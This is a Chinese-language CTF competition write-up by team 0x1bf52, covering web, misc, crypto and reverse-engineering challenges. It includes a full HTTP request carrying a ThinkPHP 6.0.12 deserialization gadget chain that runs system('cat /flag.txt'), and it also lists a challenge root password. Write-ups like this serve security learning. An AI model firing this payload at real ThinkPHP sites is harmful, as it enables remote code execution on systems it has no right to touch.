0x1bf52战队WRITEUP
一、战队信息
战队名称：0x1bf52
战队排名：328

二、解题情况

QQ图片20220529193300.png
QQ图片20220529193344.png

Web

Ezpop

考察ThinkPHP6.0.12LTS的反序列漏洞，参考链接。
ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户
payload：

POST /?s=index/test HTTP/1.1
Host: eci-2zea4ta11txh62frugq5.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ci_session=d267ccb030e5ed4f1af5bd4b94faa0bd970238e8; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1653786830; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1653786847; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; __jsluid_h=f01d586a644f4355622db801a440af3f
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1252
a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

得到flag
QQ图片20220529152715.png

misc

问卷

ez_usb

参考链接：https://blog.csdn.net/qq_43431158/article/details/108717829
提取数据流：

tshark.exe -T json -r ez_usb.pcapng > data.json

import json
jsonData=""
with open("data.json",encoding='utf-8') as f:
    text=f.read()
    jsonData=json.loads(text)
key1=""
key2=""
for i in jsonData:
    try:
        if i["_source"]["layers"]["usb"]["usb.src"]=="2.8.1":
            key1+=i["_source"]["layers"]["usbhid.data"]+"\n"
        else:
            key2+=i["_source"]["layers"]["usbhid.data"]+"\n"
    except:
        pass
print(key1)
print("======================================================================================")
print(key2)

提取到数据：(key2取855到886)

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对key1，key2进行处理得到：

mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }

nums = []
keys = open('out.txt')
for line in keys:
    if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
         continue
    nums.append(int(line[6:8],16))

keys.close()

output = ""
for n in nums:
    if n == 0 :
        continue
    if n in mappings:
        output += mappings[n]
    else:
        output += '[unknown]'

print ('output :\n' + output)

key1：

526172211a0700Cf907300000d00000000000000c4527424943500300000002A00000002b9f9b0530778b5541d33080020000000666c61672E747874B9Ba013242f3aFC000b092c229d6e994167c05A78708b271fFC042ae3d251e65536F9Ada87c77406b67d0E6316684766a86e844dC81AA2c72c71348d10c43D7B00400700

key2：

35c535765e50074a

key1为526172开头为rar的文件头，将其保存为rar压缩文件，使用key2进行解压得到flag。

Crypto

签到

公众号拿加密电码，然后取密码本前28位，按位想加取个位，拼接起来就是电码，然后抓包改包发送得flag

QQ图片20220529152822.png

基于挑战码的双向认证1，2，3

1和2在连接后直接在/root/cube-shell/instance/flag_server目录下获得flag
QQ图片20220529153144.png
3切换到root账户密码toor，在同目录下获得flag
QQ图片20220529153504.png

RE

baby_tree

参考链接：https://www.jianshu.com/p/e917bf0e8a7d
https://lerpo.github.io/2019/07/20/Swift%E7%AE%80%E4%BB%8B/

#include <stdio.h>
unsigned char b[] = {88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16};
unsigned char k[] = "345y";

int main()
{
    for (int i = 0; i < 42 - 3; i++)
    {
        unsigned char tmp = k[0];
        k[0] = k[1];
        k[1] = k[2];
        k[2] = k[3];
        k[3] = tmp;
    }
    for (int i = 42 - 4; i >= 0; i--)
    {
        unsigned char r0 = b[i + 0], r1 = b[i + 1], r2 = b[i + 2], r3 = b[i + 3];
        unsigned char tmp = k[3];
        k[3] = k[2];
        k[2] = k[1];
        k[1] = k[0];
        k[0] = tmp;
        b[i + 0] = r2 ^ k[2];
        b[i + 1] = r3 ^ k[3];
        b[i + 2] = ((k[0] + (b[i + 0] >> 4)) & 0xff) ^ r0;
        b[i + 3] = ((k[1] + (b[i + 1] >> 2)) & 0xff) ^ r1;
    }
    for (int i = 0; i < 42; i++)
    {
        printf("%c", b[i]);
    }
    return 0;
}

CTF

15 CISCN